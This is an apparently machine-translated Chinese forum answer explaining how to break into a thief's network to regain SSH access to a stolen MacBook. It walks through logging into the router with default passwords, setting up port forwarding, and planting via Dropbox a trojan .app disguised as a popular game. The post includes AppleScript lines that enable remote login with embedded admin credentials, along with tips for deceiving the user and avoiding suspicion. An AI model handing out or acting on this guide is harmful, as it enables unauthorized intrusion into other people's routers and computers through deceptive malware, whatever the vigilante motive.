我记得看过Zoz博士的视频。好东西。
听起来您精通Shell脚本,只需要一个攻击载体即可。做与Zoz相似的操作的关键是获得SSH访问。与小偷正在使用拨号调制解调器的情况不同,几乎可以肯定的是,由于新的Mac不进行拨号,小偷正在使用宽带连接,并且在某种NAT路由器后面。
即使在计算机上启用了SSH,也必须在路由器上设置端口转发,才能从外部访问计算机的SSH侦听端口。宽带连接的好处是IP地址更改的频率几乎肯定比拨号更改的频率低。
如果我担任您的职务,并持有小偷的IP,则我将首先尝试登录其路由器的Web界面,然后查看在那里可以做什么。令人惊讶的是,有多少人将其默认路由器/调制解调器密码保留在适当的位置,并且在网上有列表可以找到大多数主要制造商的默认密码。
进入内部后,检查路由器上的DHCP客户端列表,然后查看是否可以找到MacBook。许多路由器会显示MAC(硬件)地址,分配的内部IP地址(最经常为192.168.1.x),最重要的是机器名称。
找出分配给MacBook的IP,然后在路由器的设置中设置转发给它的端口。使用22以外的某个外部端口(例如端口2222)并将其转发到MacBook IP的端口22。
许多路由器都启用了SSH访问,因此访问小偷的IP @端口22可能会使您进入路由器外壳而不是计算机外壳。现在,您应该在小偷的外部IP(从Dropbox获得)上有一个端口,它将直接带您到MacBook上应绑定的SSH端口。除了SSH尚未打开。
这部分需要小偷采取一些措施。我喜欢电子邮件的想法,但它要求您的朋友使用Apple Mail。更好的方法可能是将诱人的.app文件上载到Dropbox,这将打开SSH(远程登录)。
您可以通过外壳程序脚本执行此操作,但是可以通过Applescript进行操作,将Applescript保存为.app并给它一个漂亮的图标,这对愚弄您的标记并不会给您带来很大的麻烦。
这是打开远程登录功能的Applescript代码:
do shell script "sudo systemsetup setremotelogin on" user name "Friend's Username" password "Friend's Password" with administrator privileges
此代码位将返回带有机器序列号的字符串,如果您愿意,可以通过电子邮件将其发送给自己:
do shell script "sudo system_profiler |grep \"r (system)\"" user name "Friend's Username" password "Friend's Password" with administrator privileges
我会编写applescript,以便它打开“远程登录”,并执行您需要执行的其他任何操作。尽量不要为GUI或除外壳程序之外的任何应用程序编写脚本,因为这会引起怀疑。最后显示一条消息,提示“此应用程序无法在此Macintosh上运行”。使用“退出”按钮可以减少怀疑。脚本在AppleScript编辑器中运行后,将其另存为仅运行的.app文件。
尝试将.app伪装成流行游戏,植物大战僵尸或愤怒的小鸟之类的东西。您可以从真实游戏的.app中导出图标,并将其放入从Applescript导出的.app中。如果您的朋友对小偷有很好的了解,则可以在社交上对他/她进行概要分析,并将.app伪装成他们可能感兴趣的其他东西。
只要您可以设置端口转发(您的商标没有执行适当的安全措施),并且可以让他/她运行该应用程序,则您将拥有对计算机的完全SSH访问权限,并且可以继续寻找线索而无需立即放弃您的存在。这还要求商标不要厌倦Dropbox的低吼通知并退出它,因此,我建议您的朋友暂时停止将文件保存到她的Dropbox中。
注意:如果小偷从其ISP断开连接并重新连接,他们将获得一个新的外部IP。将文件添加到Dropbox并等待其同步。这应该为您提供更新的IP。
注意2:如果用户在一定时间内(通常为24小时)未与MacBook连接到路由器,则分配给MacBook的内部IP地址的DHCP租约将到期。除非下次将另一台设备引入网络,否则很有可能在下次连接时获得相同的IP地址。在这种情况下,您将必须手动重新登录到路由器并修改端口。
这不是唯一的攻击手段,但是这是我第二次意识到我仍然通过Dropbox更新IP的方式。祝好运!
编辑:每个“执行shell脚本”行末尾的“管理员特权”非常重要。如果您不包括内联的用户名和密码,系统将提示用户输入您朋友的管理员密码,脚本将失败。